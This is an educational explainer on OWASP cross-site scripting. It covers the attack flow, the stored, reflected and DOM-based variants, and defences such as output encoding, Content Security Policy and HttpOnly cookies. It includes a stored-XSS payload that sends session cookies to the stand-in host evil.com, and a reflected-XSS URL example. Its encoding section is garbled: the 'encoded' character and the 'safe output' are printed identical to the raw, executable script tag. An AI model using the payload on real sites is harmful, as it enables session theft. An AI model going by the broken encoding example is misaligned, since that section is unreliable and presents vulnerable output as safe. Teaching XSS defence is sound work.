OWASP Cross-Site Scripting XSS
Cross-Site Scripting, known as XSS, is part of the A03 Injection category in the OWASP Top 10. An attacker injects malicious JavaScript code into a trusted website. When other users visit that page, their browser runs the attacker's script — without the user knowing.
The Public Notice Board Analogy
Imagine a coffee shop with a public notice board where customers write messages for others to read. One customer pins a note that says: "Read me — and also secretly call the thief at this number and tell him your wallet location." Every customer who reads the board unknowingly follows both instructions. That is XSS — malicious code hidden inside content other users read.
How XSS Works
1. Website has a comment section
2. Attacker posts a comment containing JavaScript:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>
3. Website stores the comment and displays it to all visitors
4. Every visitor's browser executes the script
5. Their session cookies get sent to the attacker's server
6. Attacker uses those cookies to hijack their logged-in sessions
Three Types of XSS
Stored XSS (Persistent)
The malicious script is saved in the database. Every user who views the infected page triggers it. This is the most dangerous type because one attacker action affects many victims.
Attack path:
Attacker posts malicious comment
|
v
Database stores it
|
v
1000 users view the comment page --> 1000 browsers run attacker's script
Reflected XSS (Non-Persistent)
The attacker crafts a malicious URL and tricks a victim into clicking it. The script is in the URL, reflected back by the server in the response page.
Attacker sends victim this link: https://shop.com/search?q=<script>stealCookies()</script> Server reflects the search term in the page: "You searched for: <script>stealCookies()</script>" Victim's browser runs the script
DOM-Based XSS
The attack happens entirely in the browser. The server never sees the malicious payload. JavaScript in the page reads from the URL or other sources and writes it to the page without sanitizing it first.
What an Attacker Can Do with XSS
Steal session cookies --> Take over victim's account Log keystrokes --> Capture passwords as they are typed Redirect to fake login page --> Trick user into entering credentials Modify page content --> Display false information to victims Spread malware --> Force victim's browser to download files
How to Prevent XSS
1. Output Encoding
Every piece of user-supplied data displayed on a page must be encoded so the browser treats it as text, not code. The character < becomes < — the browser shows the symbol but never executes it as an HTML tag.
Unsafe output:
Hello, <script>alert('xss')</script> <-- browser runs this
Safe output after encoding:
Hello, <script>alert('xss')</script> <-- browser shows text only
2. Content Security Policy (CSP)
A CSP is an HTTP header the server sends that tells the browser which scripts are allowed to run. Scripts from unknown sources get blocked automatically.
HTTP Header example: Content-Security-Policy: script-src 'self' https://trusted-cdn.com Effect: Only scripts from your own domain and the trusted CDN are allowed to run
3. Use HTTPOnly and Secure Cookie Flags
Setting the HttpOnly flag on session cookies prevents JavaScript from reading them. Even if XSS runs, the attacker cannot steal cookies.
4. Validate Input on the Server Side
Reject input that contains HTML or JavaScript tags. A name field should only contain letters and spaces — nothing else.
5. Use a Trusted Template Engine with Auto-Escaping
Modern frameworks like React, Angular, and Django templates escape output by default. Avoid using raw HTML output functions like innerHTML or dangerouslySetInnerHTML with untrusted data.
Quick Prevention Checklist
[✓] Encode all user data before displaying it [✓] Set HttpOnly flag on all session cookies [✓] Implement a strict Content Security Policy [✓] Validate and reject input containing HTML characters [✓] Use frameworks that auto-escape output by default
Key Takeaway
XSS lets attackers run their code in your users' browsers. Output encoding stops it at the display layer. Content Security Policy stops it at the browser level. Both defenses together provide strong protection.
